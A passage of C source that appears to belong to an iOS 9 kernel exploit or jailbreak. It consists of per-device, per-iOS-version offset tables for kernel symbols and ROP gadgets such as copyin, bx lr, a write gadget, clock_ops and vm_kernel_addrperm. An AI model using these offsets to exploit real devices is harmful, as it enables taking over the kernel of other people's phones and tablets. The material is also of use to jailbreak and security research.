iPad36_iOS933: return 0x1eeac;726case iPad36_iOS934: return 0x1eeac;727case iPod51_iOS910: return 0x1db34;728case iPod51_iOS920: return 0x1de84;729case iPod51_iOS921: return 0x1de60;730case iPod51_iOS930: return 0x1e170;731case iPod51_iOS931: return 0x1e170;732case iPod51_iOS932: return 0x1e170;733case iPod51_iOS933: return 0x1e200;734case iPod51_iOS934: return 0x1e200;735default: return 0;736}737}738739static inline unsigned int find_bufattr_cpx(void) {740switch (target_environment) {741case iPhone41_iOS902: return 0xd97d0;742case iPhone41_iOS910: return 0xd97d0;743case iPhone41_iOS920: return 0xd8750;744case iPhone41_iOS921: return 0xd8750;745case iPhone41_iOS930: return 0xd9848;746case iPhone41_iOS931: return 0xd9848;747case iPhone41_iOS932: return 0xd9848;748case iPhone41_iOS933: return 0xd9838;749case iPhone41_iOS934: return 0xd9838;750case iPhone51_iOS910: return 0xde9fc;751case iPhone51_iOS920: return 0xdd9dc;752case iPhone51_iOS921: return 0xdd9dc;753case iPhone51_iOS930: return 0xdea48;754case iPhone51_iOS931: return 0xdea48;755case iPhone51_iOS932: return 0xdea48;756case iPhone51_iOS933: return 0xdea48;757case iPhone51_iOS934: return 0xdea48;758case iPhone52_iOS902: return 0xde9fc;759case iPhone52_iOS910: return 0xde9fc;760case iPhone52_iOS920: return 0xdd9dc;761case iPhone52_iOS921: return 0xdd9dc;762case iPhone52_iOS930: return 0xdea48;763case iPhone52_iOS931: return 0xdea48;764case iPhone52_iOS932: return 0xdea48;765case iPhone52_iOS933: return 0xdea48;766case iPhone52_iOS934: return 0xdea48;767case iPhone53_iOS910: return 0xde9fc;768case iPhone53_iOS920: return 0xdd9dc;769case iPhone53_iOS921: return 0xdd9dc;770case iPhone53_iOS930: return 0xdea48;771case iPhone53_iOS931: return 0xdea48;772case iPhone53_iOS932: return 0xdea48;773case iPhone53_iOS933: return 0xdea48;774case iPhone53_iOS934: return 0xdea48;775case iPhone54_iOS910: return 0xde9fc;776case iPhone54_iOS920: return 0xdd9dc;777case iPhone54_iOS921: return 0xdd9dc;778case iPhone54_iOS930: return 0xdea48;779case iPhone54_iOS931: return 0xdea48;780case iPhone54_iOS932: return 0xdea48;781case iPhone54_iOS933: return 0xdea48;782case iPhone54_iOS934: return 0xdea48;783case iPad21_iOS910: return 0xd97d0;784case iPad21_iOS920: return 0xd8750;785case iPad21_iOS921: return 0xd8750;786case iPad21_iOS930: return 0xd9848;787case iPad21_iOS931: return 0xd9848;788case iPad21_iOS932: return 0xd9848;789case iPad21_iOS933: return 0xd9838;790case iPad21_iOS934: return 0xd9838;791case iPad22_iOS910: return 0xd97d0;792case iPad22_iOS920: return 0xd8750;793case iPad22_iOS921: return 0xd8750;794case iPad22_iOS930: return 0xd9848;795case iPad22_iOS931: return 0xd9848;796case iPad22_iOS932: return 0xd9848;797case iPad22_iOS933: return 0xd9838;798case iPad22_iOS934: return 0xd9838;799case iPad23_iOS910: return 0xd97d0;800case iPad23_iOS920: return 0xd8750;801case iPad23_iOS921: return 0xd8750;802case iPad23_iOS930: return 0xd9848;803case iPad23_iOS931: return 0xd9848;804case iPad23_iOS932: return 0xd9848;805case iPad23_iOS933: return 0xd9838;806case iPad23_iOS934: return 0xd9838;807case iPad24_iOS910: return 0xd97d0;808case iPad24_iOS920: return 0xd8750;809case iPad24_iOS921: return 0xd8750;810case iPad24_iOS930: return 0xd9848;811case iPad24_iOS932: return 0xd9848;812case iPad24_iOS933: return 0xd9838;813case iPad24_iOS934: return 0xd9838;814case iPad25_iOS902: return 0xd97d0;815case iPad31_iOS910: return 0xd97d0;816case iPad31_iOS920: return 0xd8750;817case iPad31_iOS921: return 0xd8750;818case iPad31_iOS930: return 0xd9848;819case iPad31_iOS931: return 0xd9848;820case iPad31_iOS932: return 0xd9848;821case iPad31_iOS933: return 0xd9838;822case iPad31_iOS934: return 0xd9838;823case iPad32_iOS910: return 0xd97d0;824case iPad32_iOS920: return 0xd8750;825case iPad32_iOS921: return 0xd8750;826case iPad32_iOS930: return 0xd9848;827case iPad32_iOS931: return 0xd9848;828case iPad32_iOS932: return 0xd9848;829case iPad32_iOS933: return 0xd9838;830case iPad32_iOS934: return 0xd9838;831case iPad33_iOS902: return 0xd97d0;832case iPad33_iOS910: return 0xd97d0;833case iPad33_iOS920: return 0xd8750;834case iPad33_iOS921: return 0xd8750;835case iPad33_iOS930: return 0xd9848;836case iPad33_iOS931: return 0xd9848;837case iPad33_iOS932: return 0xd9848;838case iPad33_iOS933: return 0xd9838;839case iPad33_iOS934: return 0xd9838;840case iPad34_iOS910: return 0xde9fc;841case iPad34_iOS920: return 0xdd9dc;842case iPad34_iOS921: return 0xdd9dc;843case iPad34_iOS930: return 0xdea48;844case iPad34_iOS931: return 0xdea48;845case iPad34_iOS932: return 0xdea48;846case iPad34_iOS933: return 0xdea48;847case iPad34_iOS934: return 0xdea48;848case iPad35_iOS910: return 0xde9fc;849case iPad35_iOS920: return 0xdd9dc;850case iPad35_iOS921: return 0xdd9dc;851case iPad35_iOS930: return 0xdea48;852case iPad35_iOS931: return 0xdea48;853case iPad35_iOS932: return 0xdea48;854case iPad35_iOS933: return 0xdea48;855case iPad35_iOS934: return 0xdea48;856case iPad36_iOS910: return 0xde9fc;857case iPad36_iOS920: return 0xdd9dc;858case iPad36_iOS921: return 0xdd9dc;859case iPad36_iOS930: return 0xdea48;860case iPad36_iOS931: return 0xdea48;861case iPad36_iOS932: return 0xdea48;862case iPad36_iOS933: return 0xdea48;863case iPad36_iOS934: return 0xdea48;864case iPod51_iOS910: return 0xd97d0;865case iPod51_iOS920: return 0xd8750;866case iPod51_iOS921: return 0xd8750;867case iPod51_iOS930: return 0xd9848;868case iPod51_iOS931: return 0xd9848;869case iPod51_iOS932: return 0xd9848;870case iPod51_iOS933: return 0xd9838;871case iPod51_iOS934: return 0xd9838;872default: return 0;873}874}875876static inline unsigned int find_clock_ops(void) {877switch (target_environment) {878case iPhone41_iOS902: return 0x4043cc;879case iPhone41_iOS910: return 0x4053cc;880case iPhone41_iOS920: return 0x3fc3dc;881case iPhone41_iOS921: return 0x3fc3dc;882case iPhone41_iOS930: return 0x403428;883case iPhone41_iOS931: return 0x403428;884case iPhone41_iOS932: return 0x403428;885case iPhone41_iOS933: return 0x403428;886case iPhone41_iOS934: return 0x403428;887case iPhone51_iOS910: return 0x40c5a0;888case iPhone51_iOS920: return 0x4033dc;889case iPhone51_iOS921: return 0x4033dc;890case iPhone51_iOS930: return 0x403428;891case iPhone51_iOS931: return 0x40b428;892case iPhone51_iOS932: return 0x40b428;893case iPhone51_iOS933: return 0x40b428;894case iPhone51_iOS934: return 0x40b428;895case iPhone52_iOS902: return 0x40a3cc;896case iPhone52_iOS910: return 0x40c5a0;897case iPhone52_iOS920: return 0x4033dc;898case iPhone52_iOS921: return 0x4033dc;899case iPhone52_iOS930: return 0x403428;900case iPhone52_iOS931: return 0x40b428;901case iPhone52_iOS932: return 0x40b428;902case iPhone52_iOS933: return 0x40b428;903case iPhone52_iOS934: return 0x40b428;904case iPhone53_iOS910: return 0x40c5a0;905case iPhone53_iOS920: return 0x4033dc;906case iPhone53_iOS921: return 0x4033dc;907case iPhone53_iOS930: return 0x403428;908case iPhone53_iOS931: return 0x40b428;909case iPhone53_iOS932: return 0x40b428;910case iPhone53_iOS933: return 0x40b428;911case iPhone53_iOS934: return 0x40b428;912case iPhone54_iOS910: return 0x40c5a0;913case iPhone54_iOS920: return 0x4035a0;914case iPhone54_iOS921: return 0x4035a0;915case iPhone54_iOS930: return 0x403428;916case iPhone54_iOS931: return 0x40b428;917case iPhone54_iOS932: return 0x40b428;918case iPhone54_iOS933: return 0x40b428;919case iPhone54_iOS934: return 0x40b428;920case iPad21_iOS910: return 0x4053cc;921case iPad21_iOS920: return 0x3fc3dc;922case iPad21_iOS921: return 0x3fc3dc;923case iPad21_iOS930: return 0x403428;924case iPad21_iOS931: return 0x403428;925case iPad21_iOS932: return 0x403428;926case iPad21_iOS933: return 0x403428;927case iPad21_iOS934: return 0x403428;928case iPad22_iOS910: return 0x4053cc;929case iPad22_iOS920: return 0x3fc3dc;930case iPad22_iOS921: return 0x3fc3dc;931case iPad22_iOS930: return 0x403428;932case iPad22_iOS931: return 0x403428;933case iPad22_iOS932: return 0x403428;934case iPad22_iOS933: return 0x403428;935case iPad22_iOS934: return 0x403428;936case iPad23_iOS910: return 0x4053cc;937case iPad23_iOS920: return 0x3fc3dc;938case iPad23_iOS921: return 0x2fc3dc;939case iPad23_iOS930: return 0x403428;940case iPad23_iOS931: return 0x403428;941case iPad23_iOS932: return 0x403428;942case iPad23_iOS933: return 0x403428;943case iPad23_iOS934: return 0x403428;944case iPad24_iOS910: return 0x4053cc;945case iPad24_iOS920: return 0x3fc3dc;946case iPad24_iOS921: return 0x2fc3dc;947case iPad24_iOS930: return 0x403428;948case iPad24_iOS931: return 0x403428;949case iPad24_iOS932: return 0x403428;950case iPad24_iOS933: return 0x403428;951case iPad24_iOS934: return 0x403428;952case iPad25_iOS902: return 0x4043c0;953case iPad31_iOS910: return 0x4053cc;954case iPad31_iOS920: return 0x3fc3dc;955case iPad31_iOS921: return 0x3fc3dc;956case iPad31_iOS930: return 0x403428;957case iPad31_iOS931: return 0x403428;958case iPad31_iOS932: return 0x403428;959case iPad31_iOS933: return 0x403428;960case iPad31_iOS934: return 0x403428;961case iPad32_iOS910: return 0x4053cc;962case iPad32_iOS920: return 0x3fc3dc;963case iPad32_iOS921: return 0x3fc3dc;964case iPad32_iOS930: return 0x403428;965case iPad32_iOS931: return 0x403428;966case iPad32_iOS932: return 0x403428;967case iPad32_iOS933: return 0x403428;968case iPad32_iOS934: return 0x403428;969case iPad33_iOS902: return 0x4043c0;970case iPad33_iOS910: return 0x4053cc;971case iPad33_iOS920: return 0x3fc3dc;972case iPad33_iOS921: return 0x3fc3dc;973case iPad33_iOS930: return 0x403428;974case iPad33_iOS931: return 0x403428;975case iPad33_iOS932: return 0x403428;976case iPad33_iOS933: return 0x403428;977case iPad33_iOS934: return 0x403428;978case iPad34_iOS910: return 0x40c3cc;979case iPad34_iOS920: return 0x4033dc;980case iPad34_iOS921: return 0x4033dc;981case iPad34_iOS930: return 0x403428;982case iPad34_iOS931: return 0x40b428;983case iPad34_iOS932: return 0x40b428;984case iPad34_iOS933: return 0x40b428;985case iPad34_iOS934: return 0x40b428;986case iPad35_iOS910: return 0x40c3cc;987case iPad35_iOS920: return 0x4033dc;988case iPad35_iOS921: return 0x4033dc;989case iPad35_iOS930: return 0x403428;990case iPad35_iOS931: return 0x40b428;991case iPad35_iOS932: return 0x40b428;992case iPad35_iOS933: return 0x40b428;993case iPad35_iOS934: return 0x40b428;994case iPad36_iOS910: return 0x40c3cc;995case iPad36_iOS920: return 0x4033dc;996case iPad36_iOS921: return 0x4033dc;997case iPad36_iOS930: return 0x403428;998case iPad36_iOS931: return 0x40b428;999case iPad36_iOS932: return 0x40b428;1000case iPad36_iOS933: return 0x40b428;1001case iPad36_iOS934: return 0x40b428;1002case iPod51_iOS910: return 0x4053cc;1003case iPod51_iOS920: return 0x3fc3dc;1004case iPod51_iOS921: return 0x3fc3dc;1005case iPod51_iOS930: return 0x403428;1006case iPod51_iOS931: return 0x403428;1007case iPod51_iOS932: return 0x403428;1008case iPod51_iOS933: return 0x403428;1009case iPod51_iOS934: return 0x403428;1010default: return 0;1011}1012}10131014static inline unsigned int find_copyin(void) {1015switch (target_environment) {1016case iPhone41_iOS902: return 0xc7754;1017case iPhone41_iOS910: return 0xc7754;1018case iPhone41_iOS920: return 0xc6754;1019case iPhone41_iOS921: return 0xc6754;1020case iPhone41_iOS930: return 0xc76b4;1021case iPhone41_iOS931: return 0xc76b4;1022case iPhone41_iOS932: return 0xc76b4;1023case iPhone41_iOS933: return 0xc76b4;1024case iPhone41_iOS934: return 0xc76b4;1025case iPhone51_iOS910: return 0xcb87c;1026case iPhone51_iOS920: return 0xca87c;1027case iPhone51_iOS921: return 0xca87c;1028case iPhone51_iOS930: return 0xcb7dc;1029case iPhone51_iOS931: return 0xcb7dc;1030case iPhone51_iOS932: return 0xcb7dc;1031case iPhone51_iOS933: return 0xcb7dc;1032case iPhone51_iOS934: return 0xcb7dc;1033case iPhone52_iOS902: return 0xcb87c;1034case iPhone52_iOS910: return 0xcb87c;1035case iPhone52_iOS920: return 0xca87c;1036case iPhone52_iOS921: return 0xca87c;1037case iPhone52_iOS930: return 0xcb7dc;1038case iPhone52_iOS931: return 0xcb7dc;1039case iPhone52_iOS932: return 0xcb7dc;1040case iPhone52_iOS933: return 0xcb7dc;1041case iPhone52_iOS934: return 0xcb7dc;1042case iPhone53_iOS910: return 0xcb87c;1043case iPhone53_iOS920: return 0xca87c;1044case iPhone53_iOS921: return 0xca87c;1045case iPhone53_iOS930: return 0xcb7dc;1046case iPhone53_iOS931: return 0xcb7dc;1047case iPhone53_iOS932: return 0xcb7dc;1048case iPhone53_iOS933: return 0xcb7dc;1049case iPhone53_iOS934: return 0xcb7dc;1050case iPhone54_iOS910: return 0xcb87c;1051case iPhone54_iOS920: return 0xca87c;1052case iPhone54_iOS921: return 0xca87c;1053case iPhone54_iOS930: return 0xcb7dc;1054case iPhone54_iOS931: return 0xcb7dc;1055case iPhone54_iOS932: return 0xcb7dc;1056case iPhone54_iOS933: return 0xcb7dc;1057case iPhone54_iOS934: return 0xcb7dc;1058case iPad21_iOS910: return 0xc7754;1059case iPad21_iOS920: return 0xc6754;1060case iPad21_iOS921: return 0xc6754;1061case iPad21_iOS930: return 0xc76b4;1062case iPad21_iOS931: return 0xc76b4;1063case iPad21_iOS932: return 0xc76b4;1064case iPad21_iOS933: return 0xc76b4;1065case iPad21_iOS934: return 0xc76b4;1066case iPad22_iOS910: return 0xc7754;1067case iPad22_iOS920: return 0xc6754;1068case iPad22_iOS921: return 0xc6754;1069case iPad22_iOS930: return 0xc76b4;1070case iPad22_iOS931: return 0xc76b4;1071case iPad22_iOS932: return 0xc76b4;1072case iPad22_iOS933: return 0xc76b4;1073case iPad22_iOS934: return 0xc76b4;1074case iPad23_iOS910: return 0xc7754;1075case iPad23_iOS920: return 0xc6754;1076case iPad23_iOS921: return 0xc6754;1077case iPad23_iOS930: return 0xc76b4;1078case iPad23_iOS931: return 0xc76b4;1079case iPad23_iOS932: return 0xc76b4;1080case iPad23_iOS933: return 0xc76b4;1081case iPad23_iOS934: return 0xc76b4;1082case iPad24_iOS910: return 0xc7754;1083case iPad24_iOS920: return 0xc6754;1084case iPad24_iOS921: return 0xc6754;1085case iPad24_iOS930: return 0xc76b4;1086case iPad24_iOS931: return 0xc76b4;1087case iPad24_iOS932: return 0xc76b4;1088case iPad24_iOS933: return 0xc76b4;1089case iPad24_iOS934: return 0xc76b4;1090case iPad25_iOS902: return 0xc7754;1091case iPad31_iOS910: return 0xc7754;1092case iPad31_iOS920: return 0xc6754;1093case iPad31_iOS921: return 0xc6754;1094case iPad31_iOS930: return 0xc76b4;1095case iPad31_iOS931: return 0xc76b4;1096case iPad31_iOS932: return 0xc76b4;1097case iPad31_iOS933: return 0xc76b4;1098case iPad31_iOS934: return 0xc76b4;1099case iPad32_iOS910: return 0xc7754;1100case iPad32_iOS920: return 0xc6754;1101case iPad32_iOS921: return 0xc6754;1102case iPad32_iOS930: return 0xc76b4;1103case iPad32_iOS931: return 0xc76b4;1104case iPad32_iOS932: return 0xc76b4;1105case iPad32_iOS933: return 0xc76b4;1106case iPad32_iOS934: return 0xc76b4;1107case iPad33_iOS902: return 0xc7754;1108case iPad33_iOS910: return 0xc7754;1109case iPad33_iOS920: return 0xc6754;1110case iPad33_iOS921: return 0xc6754;1111case iPad33_iOS930: return 0xc76b4;1112case iPad33_iOS931: return 0xc76b4;1113case iPad33_iOS932: return 0xc76b4;1114case iPad33_iOS933: return 0xc76b4;1115case iPad33_iOS934: return 0xc76b4;1116case iPad34_iOS910: return 0xcb87c;1117case iPad34_iOS920: return 0xca87c;1118case iPad34_iOS921: return 0xca87c;1119case iPad34_iOS930: return 0xcb7dc;1120case iPad34_iOS931: return 0xcb7dc;1121case iPad34_iOS932: return 0xcb7dc;1122case iPad34_iOS933: return 0xcb7dc;1123case iPad34_iOS934: return 0xcb7dc;1124case iPad35_iOS910: return 0xcb87c;1125case iPad35_iOS920: return 0xca87c;1126case iPad35_iOS921: return 0xca87c;1127case iPad35_iOS930: return 0xcb7dc;1128case iPad35_iOS931: return 0xcb7dc;1129case iPad35_iOS932: return 0xcb7dc;1130case iPad35_iOS933: return 0xcb7dc;1131case iPad35_iOS934: return 0xcb7dc;1132case iPad36_iOS910: return 0xcb87c;1133case iPad36_iOS920: return 0xca87c;1134case iPad36_iOS921: return 0xca87c;1135case iPad36_iOS930: return 0xcb7dc;1136case iPad36_iOS931: return 0xcb7dc;1137case iPad36_iOS932: return 0xcb7dc;1138case iPad36_iOS933: return 0xcb7dc;1139case iPad36_iOS934: return 0xcb7dc;1140case iPod51_iOS910: return 0xc7754;1141case iPod51_iOS920: return 0xc6754;1142case iPod51_iOS921: return 0xc6754;1143case iPod51_iOS930: return 0xc76b4;1144case iPod51_iOS931: return 0xc76b4;1145case iPod51_iOS932: return 0xc76b4;1146case iPod51_iOS933: return 0xc76b4;1147case iPod51_iOS934: return 0xc76b4;1148default: return 0;1149}1150}11511152static inline unsigned int find_bx_lr(void) {1153switch (target_environment) {1154case iPhone41_iOS902: return 0xd97d2;1155case iPhone41_iOS910: return 0xd97d2;1156case iPhone41_iOS920: return 0xd8752;1157case iPhone41_iOS921: return 0xd8752;1158case iPhone41_iOS930: return 0xd984a;1159case iPhone41_iOS931: return 0xd984a;1160case iPhone41_iOS932: return 0xd984a;1161case iPhone41_iOS933: return 0xd983a;1162case iPhone41_iOS934: return 0xd983a;1163case iPhone51_iOS910: return 0xde9fe;1164case iPhone51_iOS920: return 0xdd9de;1165case iPhone51_iOS921: return 0xdd9de;1166case iPhone51_iOS930: return 0xdea4a;1167case iPhone51_iOS931: return 0xdea4a;1168case iPhone51_iOS932: return 0xdea4a;1169case iPhone51_iOS933: return 0xdea4a;1170case iPhone51_iOS934: return 0xdea4a;1171case iPhone52_iOS902: return 0xde9fe;1172case iPhone52_iOS910: return 0xde9fe;1173case iPhone52_iOS920: return 0xdd9de;1174case iPhone52_iOS921: return 0xdd9de;1175case iPhone52_iOS930: return 0xdea4a;1176case iPhone52_iOS931: return 0xdea4a;1177case iPhone52_iOS932: return 0xdea4a;1178case iPhone52_iOS933: return 0xdea4a;1179case iPhone52_iOS934: return 0xdea4a;1180case iPhone53_iOS910: return 0xde9fe;1181case iPhone53_iOS920: return 0xdd9de;1182case iPhone53_iOS921: return 0xdd9de;1183case iPhone53_iOS930: return 0xdea4a;1184case iPhone53_iOS931: return 0xdea4a;1185case iPhone53_iOS932: return 0xdea4a;1186case iPhone53_iOS933: return 0xdea4a;1187case iPhone53_iOS934: return 0xdea4a;1188case iPhone54_iOS910: return 0xde9fe;1189case iPhone54_iOS920: return 0xdd9de;1190case iPhone54_iOS921: return 0xdd9de;1191case iPhone54_iOS930: return 0xdea4a;1192case iPhone54_iOS931: return 0xdea4a;1193case iPhone54_iOS932: return 0xdea4a;1194case iPhone54_iOS933: return 0xdea4a;1195case iPhone54_iOS934: return 0xdea4a;1196case iPad21_iOS910: return 0xd97d2;1197case iPad21_iOS920: return 0xd8752;1198case iPad21_iOS921: return 0xd8752;1199case iPad21_iOS930: return 0xd984a;1200case iPad21_iOS931: return 0xd984a;1201case iPad21_iOS932: return 0xd984a;1202case iPad21_iOS933: return 0xd983a;1203case iPad21_iOS934: return 0xd983a;1204case iPad22_iOS910: return 0xd97d2;1205case iPad22_iOS920: return 0xd8752;1206case iPad22_iOS921: return 0xd8752;1207case iPad22_iOS930: return 0xd984a;1208case iPad22_iOS931: return 0xd984a;1209case iPad22_iOS932: return 0xd984a;1210case iPad22_iOS933: return 0xd983a;1211case iPad22_iOS934: return 0xd983a;1212case iPad23_iOS910: return 0xd97d2;1213case iPad23_iOS920: return 0xd8752;1214case iPad23_iOS921: return 0xd8752;1215case iPad23_iOS930: return 0xd984a;1216case iPad23_iOS931: return 0xd984a;1217case iPad23_iOS932: return 0xd984a;1218case iPad23_iOS933: return 0xd983a;1219case iPad23_iOS934: return 0xd983a;1220case iPad24_iOS910: return 0xd97d2;1221case iPad24_iOS920: return 0xd8752;1222case iPad24_iOS921: return 0xd8752;1223case iPad24_iOS930: return 0xd984a;1224case iPad24_iOS931: return 0xd984a;1225case iPad24_iOS932: return 0xd984a;1226case iPad24_iOS933: return 0xd983a;1227case iPad24_iOS934: return 0xd983a;1228case iPad25_iOS902: return 0xd97d2;1229case iPad31_iOS910: return 0xd97d2;1230case iPad31_iOS920: return 0xd8752;1231case iPad31_iOS921: return 0xd8752;1232case iPad31_iOS930: return 0xd984a;1233case iPad31_iOS931: return 0xd984a;1234case iPad31_iOS932: return 0xd984a;1235case iPad31_iOS933: return 0xd983a;1236case iPad31_iOS934: return 0xd983a;1237case iPad32_iOS910: return 0xd97d2;1238case iPad32_iOS920: return 0xd8752;1239case iPad32_iOS921: return 0xd8752;1240case iPad32_iOS930: return 0xd984a;1241case iPad32_iOS931: return 0xd984a;1242case iPad32_iOS932: return 0xd984a;1243case iPad32_iOS933: return 0xd983a;1244case iPad32_iOS934: return 0xd983a;1245case iPad33_iOS902: return 0xd97d2;1246case iPad33_iOS910: return 0xd97d2;1247case iPad33_iOS920: return 0xd8752;1248case iPad33_iOS921: return 0xd8752;1249case iPad33_iOS930: return 0xd984a;1250case iPad33_iOS931: return 0xd984a;1251case iPad33_iOS932: return 0xd984a;1252case iPad33_iOS933: return 0xd983a;1253case iPad33_iOS934: return 0xd983a;1254case iPad34_iOS910: return 0xde9fe;1255case iPad34_iOS920: return 0xdd9de;1256case iPad34_iOS921: return 0xdd9de;1257case iPad34_iOS930: return 0xdea4a;1258case iPad34_iOS931: return 0xdea4a;1259case iPad34_iOS932: return 0xdea4a;1260case iPad34_iOS933: return 0xdea4a;1261case iPad34_iOS934: return 0xdea4a;1262case iPad35_iOS910: return 0xde9fe;1263case iPad35_iOS920: return 0xdd9de;1264case iPad35_iOS921: return 0xdd9de;1265case iPad35_iOS930: return 0xdea4a;1266case iPad35_iOS931: return 0xdea4a;1267case iPad35_iOS932: return 0xdea4a;1268case iPad35_iOS933: return 0xdea4a;1269case iPad35_iOS934: return 0xdea4a;1270case iPad36_iOS910: return 0xde9fe;1271case iPad36_iOS920: return 0xdd9de;1272case iPad36_iOS921: return 0xdd9de;1273case iPad36_iOS930: return 0xdea4a;1274case iPad36_iOS931: return 0xdea4a;1275case iPad36_iOS932: return 0xdea4a;1276case iPad36_iOS933: return 0xdea4a;1277case iPad36_iOS934: return 0xdea4a;1278case iPod51_iOS910: return 0xd97d2;1279case iPod51_iOS920: return 0xd8752;1280case iPod51_iOS921: return 0xd8752;1281case iPod51_iOS930: return 0xd984a;1282case iPod51_iOS931: return 0xd984a;1283case iPod51_iOS932: return 0xd984a;1284case iPod51_iOS933: return 0xd983a;1285case iPod51_iOS934: return 0xd983a;1286default: return 0;1287}1288}12891290static inline unsigned int find_write_gadget(void) {1291switch (target_environment) {1292case iPhone41_iOS902: return 0xc7488;1293case iPhone41_iOS910: return 0xc7488;1294case iPhone41_iOS920: return 0xc6488;1295case iPhone41_iOS921: return 0xc6488;1296case iPhone41_iOS930: return 0xc73e8;1297case iPhone41_iOS931: return 0xc73e8;1298case iPhone41_iOS932: return 0xc73e8;1299case iPhone41_iOS933: return 0xc73e8;1300case iPhone41_iOS934: return 0xc73e8;1301case iPhone51_iOS910: return 0xcb5a8;1302case iPhone51_iOS920: return 0xca5a8;1303case iPhone51_iOS921: return 0xca5a8;1304case iPhone51_iOS930: return 0xcb508;1305case iPhone51_iOS931: return 0xcb508;1306case iPhone51_iOS932: return 0xcb508;1307case iPhone51_iOS933: return 0xcb508;1308case iPhone51_iOS934: return 0xcb508;1309case iPhone52_iOS902: return 0xcb5a8;1310case iPhone52_iOS910: return 0xcb5a8;1311case iPhone52_iOS920: return 0xca5a8;1312case iPhone52_iOS921: return 0xca5a8;1313case iPhone52_iOS930: return 0xcb508;1314case iPhone52_iOS931: return 0xcb508;1315case iPhone52_iOS932: return 0xcb508;1316case iPhone52_iOS933: return 0xcb508;1317case iPhone52_iOS934: return 0xcb508;1318case iPhone53_iOS910: return 0xcb5a8;1319case iPhone53_iOS920: return 0xca5a8;1320case iPhone53_iOS921: return 0xca5a8;1321case iPhone53_iOS930: return 0xcb508;1322case iPhone53_iOS931: return 0xcb508;1323case iPhone53_iOS932: return 0xcb508;1324case iPhone53_iOS933: return 0xcb508;1325case iPhone53_iOS934: return 0xcb508;1326case iPhone54_iOS910: return 0xcb5a8;1327case iPhone54_iOS920: return 0xca5a8;1328case iPhone54_iOS921: return 0xca5a8;1329case iPhone54_iOS930: return 0xcb508;1330case iPhone54_iOS931: return 0xcb508;1331case iPhone54_iOS932: return 0xcb508;1332case iPhone54_iOS933: return 0xcb508;1333case iPhone54_iOS934: return 0xcb508;1334case iPad21_iOS910: return 0xc7488;1335case iPad21_iOS920: return 0xc6488;1336case iPad21_iOS921: return 0xc6488;1337case iPad21_iOS930: return 0xc73e8;1338case iPad21_iOS931: return 0xc73e8;1339case iPad21_iOS932: return 0xc73e8;1340case iPad21_iOS933: return 0xc73e8;1341case iPad21_iOS934: return 0xc73e8;1342case iPad22_iOS910: return 0xc7488;1343case iPad22_iOS920: return 0xc6488;1344case iPad22_iOS921: return 0xc6488;1345case iPad22_iOS930: return 0xc73e8;1346case iPad22_iOS931: return 0xc73e8;1347case iPad22_iOS932: return 0xc73e8;1348case iPad22_iOS933: return 0xc73e8;1349case iPad22_iOS934: return 0xc73e8;1350case iPad23_iOS910: return 0xc7488;1351case iPad23_iOS920: return 0xc6488;1352case iPad23_iOS921: return 0xc6488;1353case iPad23_iOS930: return 0xc73e8;1354case iPad23_iOS931: return 0xc73e8;1355case iPad23_iOS932: return 0xc73e8;1356case iPad23_iOS933: return 0xc73e8;1357case iPad23_iOS934: return 0xc73e8;1358case iPad24_iOS910: return 0xc7488;1359case iPad24_iOS920: return 0xc6488;1360case iPad24_iOS921: return 0xc6488;1361case iPad24_iOS930: return 0xc73e8;1362case iPad24_iOS931: return 0xc73e8;1363case iPad24_iOS932: return 0xc73e8;1364case iPad24_iOS933: return 0xc73e8;1365case iPad24_iOS934: return 0xc73e8;1366case iPad25_iOS902: return 0xc7488;1367case iPad31_iOS910: return 0xc7488;1368case iPad31_iOS920: return 0xc6488;1369case iPad31_iOS921: return 0xc6488;1370case iPad31_iOS930: return 0xc73e8;1371case iPad31_iOS931: return 0xc73e8;1372case iPad31_iOS932: return 0xc73e8;1373case iPad31_iOS933: return 0xc73e8;1374case iPad31_iOS934: return 0xc73e8;1375case iPad32_iOS910: return 0xc7488;1376case iPad32_iOS920: return 0xc6488;1377case iPad32_iOS921: return 0xc6488;1378case iPad32_iOS930: return 0xc73e8;1379case iPad32_iOS931: return 0xc73e8;1380case iPad32_iOS932: return 0xc73e8;1381case iPad32_iOS933: return 0xc73e8;1382case iPad32_iOS934: return 0xc73e8;1383case iPad33_iOS902: return 0xc7488;1384case iPad33_iOS910: return 0xc7488;1385case iPad33_iOS920: return 0xc6488;1386case iPad33_iOS921: return 0xc6488;1387case iPad33_iOS930: return 0xc73e8;1388case iPad33_iOS931: return 0xc73e8;1389case iPad33_iOS932: return 0xc73e8;1390case iPad33_iOS933: return 0xc73e8;1391case iPad33_iOS934: return 0xc73e8;1392case iPad34_iOS910: return 0xcb5a8;1393case iPad34_iOS920: return 0xca5a8;1394case iPad34_iOS921: return 0xca5a8;1395case iPad34_iOS930: return 0xcb508;1396case iPad34_iOS931: return 0xcb508;1397case iPad34_iOS932: return 0xcb508;1398case iPad34_iOS933: return 0xcb508;1399case iPad34_iOS934: return 0xcb508;1400case iPad35_iOS910: return 0xcb5a8;1401case iPad35_iOS920: return 0xca5a8;1402case iPad35_iOS921: return 0xca5a8;1403case iPad35_iOS930: return 0xcb508;1404case iPad35_iOS931: return 0xcb508;1405case iPad35_iOS932: return 0xcb508;1406case iPad35_iOS933: return 0xcb508;1407case iPad35_iOS934: return 0xcb508;1408case iPad36_iOS910: return 0xcb5a8;1409case iPad36_iOS920: return 0xca5a8;1410case iPad36_iOS921: return 0xca5a8;1411case iPad36_iOS930: return 0xcb508;1412case iPad36_iOS931: return 0xcb508;1413case iPad36_iOS932: return 0xcb508;1414case iPad36_iOS933: return 0xcb508;1415case iPad36_iOS934: return 0xcb508;1416case iPod51_iOS910: return 0xc7488;1417case iPod51_iOS920: return 0xc6488;1418case iPod51_iOS921: return 0xc6488;1419case iPod51_iOS930: return 0xc73e8;1420case iPod51_iOS931: return 0xc73e8;1421case iPod51_iOS932: return 0xc73e8;1422case iPod51_iOS933: return 0xc73e8;1423case iPod51_iOS934: return 0xc73e8;1424default: return 0;1425}1426}14271428static inline unsigned int find_vm_kernel_addrperm(void) {1429switch (target_environment) {1430case iPhone41_iOS902: return 0x455fa0;1431case iPhone41_iOS910: return 0x457030;1432case iPhone41_iOS920: return 0x44e840;1433case iPhone41_iOS921: return 0x44e840;1434case iPhone41_iOS930: return 0x455844;1435case iPhone41_iOS931: return 0x455844;1436case iPhone41_iOS932: return 0x455844;1437case iPhone41_iOS933: return 0x455844;1438case iPhone41_iOS934: return 0x455844;1439case iPhone51_iOS910: return 0x45e154;1440case iPhone51_iOS920: return 0x455964;1441case iPhone51_iOS921: return 0x455964;1442case iPhone51_iOS930: return 0x45d978;1443case iPhone51_iOS931: return 0x45d978;1444case iPhone51_iOS932: return 0x45d978;1445case iPhone51_iOS933: return 0x45d978;1446case iPhone51_iOS934: return 